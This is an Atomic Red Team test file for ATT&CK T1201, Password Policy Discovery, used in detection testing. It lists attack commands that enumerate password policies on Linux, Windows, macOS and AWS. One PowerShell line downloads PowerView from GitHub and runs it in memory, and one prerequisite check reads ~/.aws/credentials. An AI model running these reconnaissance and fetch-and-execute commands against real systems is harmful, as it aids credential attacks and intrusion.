atomic-red-team/atomics/T1201/T1201.md

# T1201 - Password Policy Discovery
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1201)
<blockquote>

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)

Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).

</blockquote>

## Atomic Tests

- [Atomic Test #1 - Examine password complexity policy - Ubuntu](#atomic-test-1---examine-password-complexity-policy---ubuntu)

- [Atomic Test #2 - Examine password complexity policy - FreeBSD](#atomic-test-2---examine-password-complexity-policy---freebsd)

- [Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 7.x](#atomic-test-3---examine-password-complexity-policy---centosrhel-7x)

- [Atomic Test #4 - Examine password complexity policy - CentOS/RHEL 6.x](#atomic-test-4---examine-password-complexity-policy---centosrhel-6x)

- [Atomic Test #5 - Examine password expiration policy - All Linux](#atomic-test-5---examine-password-expiration-policy---all-linux)

- [Atomic Test #6 - Examine local password policy - Windows](#atomic-test-6---examine-local-password-policy---windows)

- [Atomic Test #7 - Examine domain password policy - Windows](#atomic-test-7---examine-domain-password-policy---windows)

- [Atomic Test #8 - Examine password policy - macOS](#atomic-test-8---examine-password-policy---macos)

- [Atomic Test #9 - Get-DomainPolicy with PowerView](#atomic-test-9---get-domainpolicy-with-powerview)

- [Atomic Test #10 - Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy](#atomic-test-10---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy)

- [Atomic Test #11 - Use of SecEdit.exe to export the local security policy (including the password policy)](#atomic-test-11---use-of-seceditexe-to-export-the-local-security-policy-including-the-password-policy)

- [Atomic Test #12 - Examine AWS Password Policy](#atomic-test-12---examine-aws-password-policy)


<br/>

## Atomic Test #1 - Examine password complexity policy - Ubuntu
Lists the password complexity policy to console on Ubuntu Linux.

**Supported Platforms:** Linux


**auto_generated_guid:** 085fe567-ac84-47c7-ac4c-2688ce28265b






#### Attack Commands: Run with `bash`! 


```bash
cat /etc/pam.d/common-password
```






<br/>
<br/>

## Atomic Test #2 - Examine password complexity policy - FreeBSD
Lists the password complexity policy to console on FreeBSD.

**Supported Platforms:** Linux


**auto_generated_guid:** a7893624-a3d7-4aed-9676-80498f31820f






#### Attack Commands: Run with `sh`! 


```sh
cat /etc/pam.d/passwd
```






<br/>
<br/>

## Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 7.x
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.

**Supported Platforms:** Linux


**auto_generated_guid:** 78a12e65-efff-4617-bc01-88f17d71315d






#### Attack Commands: Run with `bash`! 


```bash
cat /etc/security/pwquality.conf
```




#### Dependencies:  Run with `bash`!
##### Description: System must be CentOS or RHEL v7
##### Check Prereq Commands:
```bash
if [ $(uname -a | grep -ioP 'el[0-9]' | grep -oP '[0-9]') -eq "7" ]; then exit 0; else exit 1; fi;
```
##### Get Prereq Commands:
```bash
echo Please run from CentOS or RHEL v7
```




<br/>
<br/>

## Atomic Test #4 - Examine password complexity policy - CentOS/RHEL 6.x
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.

**Supported Platforms:** Linux


**auto_generated_guid:** 6ce12552-0adb-4f56-89ff-95ce268f6358






#### Attack Commands: Run with `bash`! 


```bash
cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf
```




#### Dependencies:  Run with `bash`!
##### Description: System must be CentOS or RHEL v6
##### Check Prereq Commands:
```bash
if [ $(rpm -q --queryformat '%{VERSION}') -eq "6" ]; then exit /b 0; else exit /b 1; fi;
```
##### Get Prereq Commands:
```bash
echo Please run from CentOS or RHEL v6
```




<br/>
<br/>

## Atomic Test #5 - Examine password expiration policy - All Linux
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.

**Supported Platforms:** Linux


**auto_generated_guid:** 7c86c55c-70fa-4a05-83c9-3aa19b145d1a






#### Attack Commands: Run with `bash`! 


```bash
cat /etc/login.defs
```






<br/>
<br/>

## Atomic Test #6 - Examine local password policy - Windows
Lists the local password policy to console on Windows.

**Supported Platforms:** Windows


**auto_generated_guid:** 4588d243-f24e-4549-b2e3-e627acc089f6






#### Attack Commands: Run with `command_prompt`! 


```cmd
net accounts
```






<br/>
<br/>

## Atomic Test #7 - Examine domain password policy - Windows
Lists the domain password policy to console on Windows.

**Supported Platforms:** Windows


**auto_generated_guid:** 46c2c362-2679-4ef5-aec9-0e958e135be4






#### Attack Commands: Run with `command_prompt`! 


```cmd
net accounts /domain
```






<br/>
<br/>

## Atomic Test #8 - Examine password policy - macOS
Lists the password policy to console on macOS.

**Supported Platforms:** macOS


**auto_generated_guid:** 4b7fa042-9482-45e1-b348-4b756b2a0742






#### Attack Commands: Run with `bash`! 


```bash
pwpolicy getaccountpolicies
```






<br/>
<br/>

## Atomic Test #9 - Get-DomainPolicy with PowerView
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.

**Supported Platforms:** Windows


**auto_generated_guid:** 3177f4da-3d4b-4592-8bdc-aa23d0b2e843






#### Attack Commands: Run with `powershell`! 


```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
```






<br/>
<br/>

## Atomic Test #10 - Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.
Upon successful execution a listing of the policy implemented will display.
Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps

**Supported Platforms:** Windows


**auto_generated_guid:** b2698b33-984c-4a1c-93bb-e4ba72a0babb






#### Attack Commands: Run with `powershell`! 


```powershell
get-addefaultdomainpasswordpolicy
```






<br/>
<br/>

## Atomic Test #11 - Use of SecEdit.exe to export the local security policy (including the password policy)
SecEdit.exe can be used to export the current local security policy applied to a host.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)

**Supported Platforms:** Windows


**auto_generated_guid:** 510cc97f-56ac-4cd3-a198-d3218c23d889






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt
```






<br/>
<br/>

## Atomic Test #12 - Examine AWS Password Policy
This atomic test will display details about the password policy for the current AWS account.

**Supported Platforms:** Iaas:aws


**auto_generated_guid:** 15330820-d405-450b-bd08-16b5be5be9f4






#### Attack Commands: Run with `sh`! 


```sh
aws iam get-account-password-policy
```




#### Dependencies:  Run with `sh`!
##### Description: Check if ~/.aws/credentials file has a default stanza is configured
##### Check Prereq Commands:
```sh
cat ~/.aws/credentials | grep "default"
```
##### Get Prereq Commands:
```sh
echo Please install the aws-cli and configure your AWS defult profile using: aws configure
```




<br/>